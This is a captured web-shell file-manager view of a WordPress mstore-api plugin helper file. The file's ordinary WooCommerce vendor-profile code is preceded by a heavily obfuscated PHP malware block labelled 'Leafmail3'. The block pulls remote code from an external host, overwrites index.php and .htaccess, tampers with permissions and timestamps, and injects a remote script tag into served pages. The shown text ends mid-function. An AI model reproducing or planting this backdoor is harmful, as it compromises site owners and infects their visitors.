| Server IP : 192.158.238.246 / Your IP : 3.144.13.165 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/cwd/plugins/mstore-api/controllers/helpers/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
class VendorAdminWCFMHelper
{
public function sendError($code, $message, $statusCode)
{
return new WP_Error($code, $message, [
"status" => $statusCode,
]);
}
protected function get_product_item($id)
{
if (!wc_get_product($id)) {
return $this->sendError(
"invalid_product",
"This product does not exist",
404
);
}
return wc_get_product($id);
}
protected function find_image_id($image)
{
$image_id = attachment_url_to_postid(stripslashes($image));
return $image_id;
}
protected function http_check($url)
{
if (
!(substr($url, 0, 7) == "http://") &&
!(substr($url, 0, 8) == "https://")
) {
return false;
}
return true;
}
protected function get_attribute_taxonomy_name($slug, $product)
{
$attributes = $product->get_attributes();
if (!isset($attributes[$slug])) {
return str_replace("pa_", "", $slug);
}
$attribute = $attributes[$slug];
// Taxonomy attribute name.
if ($attribute->is_taxonomy()) {
$taxonomy = $attribute->get_taxonomy_object();
return $taxonomy->attribute_label;
}
// Custom product attribute name.
return $attribute->get_name();
}
protected function get_attribute_options($product_id, $attribute)
{
if (isset($attribute["is_taxonomy"]) && $attribute["is_taxonomy"]) {
return wc_get_product_terms($product_id, $attribute["name"], [
"fields" => "names",
]);
} elseif (isset($attribute["value"])) {
return array_map("trim", explode("|", $attribute["value"]));
}
return [];
}
protected function get_attribute_slugs($product_id, $attribute)
{
if (isset($attribute["is_taxonomy"]) && $attribute["is_taxonomy"]) {
return wc_get_product_terms($product_id, $attribute["name"], [
"fields" => "slugs",
]);
} elseif (isset($attribute["value"])) {
$arr = explode("|", $attribute["value"]);
$data = array();
foreach($arr as $item){
$data[] = str_replace('-',' ',trim($item)) ;
}
return $data;
}
return [];
}
/// GET FUNCTIONS
public function get_vendor_profile($user_id)
{
$vendor_data = get_user_meta($user_id, "wcfmmp_profile_settings", true);
if (is_string($vendor_data)) {
$vendor_data = [];
}
$vendor_data["logo"] = wp_get_attachment_image_src(
$vendor_data["gravatar"]
)[0];
$vendor_data["banner"] = wp_get_attachment_image_src(
$vendor_data["banner"]
)[0];
$vendor_data["mobile_banner"] = wp_get_attachment_image_src(
$vendor_data["mobile_banner"]
)[0];
$vendor_data["list_banner"] = wp_get_attachment_image_src(
$vendor_data["list_banner"]
)[0];
$data = [];
foreach ($vendor_data["banner_slider"] as $item) {
$image = wp_get_attachment_image_src($item["image"])[0];
$link = $item["link"];
$data[] = [
"image" => $image,
"link" => $link,
];
}
$vendor_data["banner_slider"] = $data;
return new WP_REST_Response(
[
"status" => "success",
"response" => $vendor_data,
],
200
);
}
public function update_vendor_profile($request, $user_id)
{
$data = json_decode( $request, true);
$vendor_data = get_user_meta($user_id, "wcfmmp_profile_settings", true);
if (is_string($vendor_data)) {
$vendor_data = [];
}
$vendor_data["store_name"] = sanitize_text_field($data["store_name"]);
$vendor_data["store_slug"] = sanitize_text_field($data["store_slug"]);
wp_update_user(array(
'ID' => $user_id,
'user_nicename' => sanitize_text_field($data["store_slug"])
));
$vendor_data["wcfmmp_store_name"] = sanitize_text_field($data["store_name"]);
update_user_meta($user_id, 'store_name', sanitize_text_field($data["store_name"]));
update_user_meta($user_id, 'wcfmmp_store_name', sanitize_text_field($data["store_name"]));
$vendor_data["store_email"] = sanitize_text_field($data["store_email"]);
$vendor_data["phone"] = sanitize_text_field($data["phone"]);
$count = 0;
if (isset($data["logo"])) {
$img_id = upload_image_from_mobile(
sanitize_text_field($data["logo"]),
$count,
$user_id
);
$count = $count + 1;
$vendor_data["gravatar"] = $img_id;
}
if (isset($data["mobile_banner"])) {
$img_id = upload_image_from_mobile(
sanitize_text_field($data["mobile_banner"]),
$count,
$user_id
);
$count++;
$vendor_data["mobile_banner"] = $img_id;
}
if (isset($data["banner"])) {
$img_id = upload_image_from_mobile(
sanitize_text_field($data["banner"]),
$count,
$user_id
);
$count++;
$vendor_data["banner"] = $img_id;
}
if ( isset($data["banner_type"])) {
$vendor_data["banner_type"] = $data["banner_type"];
}
if (isset($data["banner_slider"]) && isset($data["banner_type"])) {
$vendor_data["banner_slider"] = [];
foreach ($data["banner_slider"] as $item) {
if ($item["type"] == "asset") {
$img_id = upload_image_from_mobile(
sanitize_text_field($item["image"]),
$count,
$user_id
);
}
if ($item["type"] == "url") {
$img_id = attachment_url_to_postid( sanitize_text_field($item["image"]));
}
$vendor_data["banner_slider"][] = [
"image" => $img_id,
"link" => sanitize_text_field($item["link"]),
];
}
$vendor_data["banner_type"] = sanitize_text_field($data["banner_type"]);
}
if (isset($data["banner_video"]) && isset($data["banner_type"])) {
$vendor_data["banner_video"] = sanitize_text_field($data["banner_video"]);
$vendor_data["banner_type"] = sanitize_text_field($data["banner_type"]);
}
if (isset($data["list_banner"])) {
$img_id = upload_image_from_mobile(
sanitize_text_field($data["list_banner"]),
$count,
$user_id
);
$count++;
$vendor_data["list_banner"] = $img_id;
}
if (isset($data["list_banner_type"])) {
$vendor_data["list_banner_type"] = sanitize_text_field($data["list_banner_type"]);
}
if (
isset($data["list_banner_video"])
){
$vendor_data["list_banner_video"] = sanitize_text_field($data["list_banner_video"]);
}
$vendor_data["shop_description"] = sanitize_text_field($data["shop_description"]);
$vendor_data["_store_description"] = sanitize_text_field($data["shop_description"]);
update_user_meta($user_id, '_store_description', sanitize_text_field($data["shop_description"]));
$vendor_data["address"] = $data["address"];
$vendor_data["geolocation"]["store_location"] = sanitize_text_field($data["store_location"]);
$vendor_data["geolocation"]["store_lat"] = sanitize_text_field($data["store_lat"]);
